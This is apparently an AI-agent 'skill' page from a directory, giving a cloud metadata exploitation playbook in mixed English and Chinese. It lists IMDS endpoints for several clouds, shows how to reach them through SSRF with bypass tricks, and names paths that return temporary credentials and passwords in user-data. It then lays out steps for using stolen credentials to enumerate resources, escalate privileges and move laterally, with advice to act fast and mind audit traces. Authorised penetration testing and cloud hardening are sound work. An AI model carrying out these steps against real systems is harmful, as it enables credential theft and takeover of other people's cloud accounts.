SuperAPI AI Directory

cloud-metadata

Data & analytics

View repository

Updated 10-16 06:52

About this skill

Cloud Metadata Exploitation Methodology

IMDS is the bridge from SSRF/RCE to the cloud control plane—a single HTTP request can obtain IAM/CAM temporary credentials.

⛔ In-Depth Reference (Required Reading)


Phase 1: Confirm the Cloud Environment

Clue Cloud Platform
x-amz-* Header, Server: AmazonS3 AWS
x-ms-* Header, .azurewebsites.net Azure
.googleapis.com, x-goog-* Header GCP
.aliyuncs.com, x-oss-* Header Alibaba Cloud
.myqcloud.com, x-cos-* Header, Server: tencent-cos Tencent Cloud

Phase 2: Metadata Endpoint Quick Reference

# AWS (IMDSv1 — 直接 GET)
http://169.254.169.254/latest/meta-data/

# AWS (IMDSv2 — 需要 PUT 获取 Token)
PUT http://169.254.169.254/latest/api/token
  Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
  Header: Metadata: true

# GCP
http://metadata.google.internal/computeMetadata/v1/
  Header: Metadata-Flavor: Google

# 阿里云
http://100.100.100.200/latest/meta-data/

# 腾讯云(CVM/轻量应用服务器/Lighthouse)
http://metadata.tencentyun.com/latest/meta-data/
# 也可通过 IP 访问
http://169.254.0.23/latest/meta-data/

Tencent Cloud Metadata Complete Paths

# 基础信息
http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/instance-id
http://metadata.tencentyun.com/latest/meta-data/uuid
http://metadata.tencentyun.com/latest/meta-data/hostname
http://metadata.tencentyun.com/latest/meta-data/local-ipv4
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
http://metadata.tencentyun.com/latest/meta-data/instance-type

# 区域信息
http://metadata.tencentyun.com/latest/meta-data/placement/region
http://metadata.tencentyun.com/latest/meta-data/placement/zone

# 网络(需先获取 MAC 地址)
http://metadata.tencentyun.com/latest/meta-data/mac
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/vpc-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/subnet-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/local-ipv4

# CAM 角色凭据(关键攻击面!)
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# ↑ 列出挂载的角色名称

http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/<role-name>
# ↑ 返回临时凭据: TmpSecretId, TmpSecretKey, Token, ExpiredTime

# 用户数据(启动脚本——经常包含密码!)
http://metadata.tencentyun.com/latest/user-data

Phase 3: SSRF → Metadata

  • Directly use SSRF to request http://169.254.169.254/...(AWS/Azure/GCP)
  • Directly use SSRF to request http://metadata.tencentyun.com/...(Tencent Cloud, domain method)
  • Directly use SSRF to request http://100.100.100.200/...(Alibaba Cloud)
  • IMDSv2 requires PUT + custom Header → Most SSRF cannot set Headers, which is the protective value of IMDSv2
  • Bypass:http://[::ffff:169.254.169.254]/, DNS rebinding, 302 redirect
  • The metadata services of Tencent Cloud and Alibaba Cloud do not require special Headers(similar to IMDSv1, easier to exploit via SSRF)

Phase 4: Credential Exploitation Decision Tree

获取到凭据?
├─ AWS → export 环境变量 → aws sts get-caller-identity → 枚举 S3/EC2/Lambda/Secrets
├─ Azure → Bearer Token → 枚举资源
├─ GCP → OAuth Token → 枚举项目资源
├─ 阿里云 → STS Token → 枚举 OSS/ECS
└─ 腾讯云 → 配置 tccli → 枚举 COS/CVM/SCF/CAM
    ├─ tccli configure(交互式)或设置环境变量
    ├─ tccli sts GetCallerIdentity(验证身份)
    ├─ coscli ls 或 Python SDK(列出存储桶,tccli 不支持 GetService)
    ├─ tccli cvm DescribeInstances(列出实例)
    └─ → 转入 cloud-iam-audit 技能进行提权评估
详细命令 → [references/credential-extraction.md](references/credential-extraction.md)

Tencent Cloud Credential Quick Configuration

# 方式 1: tccli configure
tccli configure
# SecretId: 从元数据获取的 TmpSecretId
# SecretKey: 从元数据获取的 TmpSecretKey
# token: 从元数据获取的 Token
# Region: 从元数据 placement/region 获取

# 方式 2: 环境变量(适合脚本化)
export TENCENTCLOUD_SECRET_ID="TmpSecretId"
export TENCENTCLOUD_SECRET_KEY="TmpSecretKey"
export TENCENTCLOUD_SESSION_TOKEN="Token"

# 验证
tccli sts GetCallerIdentity

After obtaining cloud credentials, perform an IAM privilege escalation assessment.

Notes

  • IMDSv2 is AWS's primary protection against metadata SSRF—pure SSRF is basically unable to exploit it
  • Tencent Cloud and Alibaba Cloud metadata do not enforce Tokens, making the SSRF exploitation threshold lower
  • Cloud credentials have an expiration time (usually 6-12 hours), so after obtaining them you shouldexploit immediately
  • Credential operations will leave CloudTrail/CloudAudit logs, so pay attention to operational traces
  • User-Data (/latest/user-data) often contains passwords in startup scripts
  • Tencent Cloud metadata domain metadata.tencentyun.com can only be accessed from within the instance's intranet

Follow-up Exploitation

  • After obtaining cloud credentials, you can perform lateral movement and access more cloud resources
  • Tencent Cloud: Credentials → tccli/coscli enumerate COS → search for sensitive data → CAM privilege escalation
  • AWS: Credentials → awscli enumerate S3/EC2/Lambda → IAM privilege escalation